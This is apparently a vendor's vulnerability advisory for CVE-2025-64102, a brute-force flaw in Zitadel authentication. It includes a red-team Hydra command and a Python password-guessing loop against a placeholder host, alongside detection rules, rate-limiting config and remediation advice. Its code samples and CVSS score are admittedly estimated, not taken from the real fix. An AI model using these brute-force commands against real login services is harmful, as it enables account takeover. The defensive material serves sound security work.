CVE-2025-64102
Executive Summary
CVE-2025-64102 is a critical security vulnerability in Zitadel, an open-source identity infrastructure platform. The flaw allows an attacker to perform online brute-force attacks against OTP, TOTP, and password authentication mechanisms. While Zitadel includes a lockout mechanism to prevent such attacks, it is not enabled by default, and even when enabled, it can cause a denial of service (DoS) for the targeted user. Additionally, the mitigation strategies were not fully implemented in the more recent resource-based APIs. This vulnerability affects all versions prior to 2.71.18, 3.4.3, and 4.6.0. The lack of default brute-force protection exposes user accounts to credential guessing attacks, potentially leading to account takeover.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Zitadel is distributed as a Go binary and Docker container. The vulnerability is in the core authentication logic, not in a specific package manager. However, organizations using Zitadel as a dependency in their identity infrastructure should verify they are using a patched version. The fix is available in the official Zitadel GitHub repository.
CVSS Breakdown & Threat Level
The CVSS score is currently 0.0 (UNKNOWN), but based on the vulnerability description, a reasonable assessment would be:
- Attack Vector (AV): Network (N) – The attack can be performed remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed to start the attack.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Successful brute-force can lead to account takeover.
- Integrity (I): High (H) – Attacker can modify user data or perform actions as the user.
- Availability (A): Low (L) – The lockout mechanism can cause DoS for the user.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Estimated Score: 8.6 (High)
Threat Level: High. The vulnerability is easy to exploit remotely without authentication, and the impact includes account takeover and potential DoS.
Deep Dive & Mechanics
Zitadel’s authentication flow for OTP, TOTP, and passwords relies on a lockout mechanism to prevent brute-force attacks. However, this mechanism is not enabled by default. When disabled, an attacker can send unlimited authentication attempts, guessing credentials or OTP values.
The vulnerability is exacerbated in the resource-based APIs (introduced in later versions), where the lockout mechanism was not fully implemented. This means even if the lockout is enabled for traditional login endpoints, the resource-based APIs may still allow unlimited attempts.
The attack works as follows:
- The attacker identifies a target user (e.g., via email enumeration or known username).
- The attacker sends repeated authentication requests (password, OTP, or TOTP) to the Zitadel API.
- Without lockout, the attacker can try many combinations until successful.
- If lockout is enabled, the attacker can still cause a DoS by triggering lockout on the legitimate user.
The fix in versions 2.71.18, 3.4.3, and 4.6.0 ensures that the lockout mechanism is properly enforced across all authentication endpoints, including resource-based APIs.
Vulnerable vs. Patched Code
The vulnerable code likely lacks rate limiting or lockout checks in the authentication handler. The patched code adds these checks.
Vulnerable (pseudo-code):
func authenticateUser(username, password string) bool {
user := db.GetUser(username)
if user == nil {
return false
}
// No lockout check
return bcrypt.CompareHashAndPassword(user.PasswordHash, password) == nil
}
Patched (pseudo-code):
func authenticateUser(username, password string) bool {
user := db.GetUser(username)
if user == nil {
return false
}
// Check lockout
if user.IsLocked() {
return false
}
if bcrypt.CompareHashAndPassword(user.PasswordHash, password) != nil {
user.IncrementFailedAttempts()
if user.FailedAttempts > MAX_ATTEMPTS {
user.Lock()
}
return false
}
user.ResetFailedAttempts()
return true
}
The actual fix in Zitadel’s codebase involves adding rate limiting and lockout logic to all authentication endpoints, including the resource-based APIs.
Exploitation & Lab Setup
Red Team
Objective: Perform an online brute-force attack on a Zitadel instance to gain unauthorized access.
Prerequisites:
- Target Zitadel instance (e.g.,
https://zitadel.example.com) - Valid username (can be enumerated via registration or other means)
Steps:
- Identify the authentication endpoint (e.g.,
/login,/api/auth). - Use a tool like Hydra or a custom script to send repeated login attempts.
Example using Hydra:
hydra -l targetuser -P /path/to/passwords.txt https-post-form://zitadel.example.com/login:username=^USER^&password=^PASS^:F=incorrect
Example using Python:
import requests
target = "https://zitadel.example.com/api/auth"
username = "targetuser"
password_list = ["password1", "password2", "password3"]
for password in password_list:
response = requests.post(target, json={"username": username, "password": password})
if response.status_code == 200 and "token" in response.text:
print(f"Success: {password}")
break
else:
print(f"Failed: {password}")
Note: If lockout is enabled, the attacker can cause a DoS by triggering lockout on the user.
Blue Team
Objective: Detect and prevent brute-force attacks against Zitadel.
Detection:
- Monitor authentication logs for multiple failed attempts from the same IP or user.
- Set up alerts for unusual login patterns (e.g., >10 failed attempts in 5 minutes).
Prevention:
- Enable the lockout mechanism in Zitadel configuration.
- Implement IP-based rate limiting at the reverse proxy (e.g., Nginx, Cloudflare).
- Use Web Application Firewall (WAF) rules to block repeated requests.
Example Nginx rate limiting:
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
server {
location /login {
limit_req zone=login burst=10 nodelay;
proxy_pass http://zitadel_backend;
}
}
Indicators of Compromise (IOCs)
- Network: Multiple POST requests to
/login,/api/auth, or similar endpoints from the same IP within a short time. - Logs: High number of
401 Unauthorizedresponses for a single user. - System: User account locked out unexpectedly (if lockout is enabled).
- File: No specific file-based IOCs.
Detection Engineering
YARA Rule
rule CVE_2025_64102_BruteForce {
meta:
description = "Detects brute-force attempts against Zitadel authentication"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-64102"
strings:
$s1 = "POST /login" ascii nocase
$s2 = "POST /api/auth" ascii nocase
$s3 = "401 Unauthorized" ascii nocase
$s4 = "incorrect" ascii nocase
condition:
any of ($s1, $s2) and any of ($s3, $s4)
}
Sigma Rule
title: Zitadel Brute-Force Attack Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple failed authentication attempts against Zitadel
author: Valters IT
date: 2025-01-01
logsource:
category: application
product: zitadel
detection:
selection:
event: "authentication_failed"
timeframe: 5m
condition:
selection | count() by user > 10
falsepositives:
- Legitimate users forgetting passwords
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-64102 Zitadel Brute-Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"password"; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Zitadel to version 2.71.18, 3.4.3, or 4.6.0 (or later).
- Enable the lockout mechanism in Zitadel configuration (if not already enabled).
- Implement IP-based rate limiting at the network edge.
Long-term Measures:
- Regularly update Zitadel to the latest version.
- Monitor authentication logs for anomalies.
- Use multi-factor authentication (MFA) to reduce reliance on passwords.
- Conduct periodic security audits of identity infrastructure.
Workaround (if patching is not possible):
- Use a reverse proxy (e.g., Nginx, HAProxy) to rate-limit authentication endpoints.
- Implement a Web Application Firewall (WAF) with brute-force protection rules.
Valters IT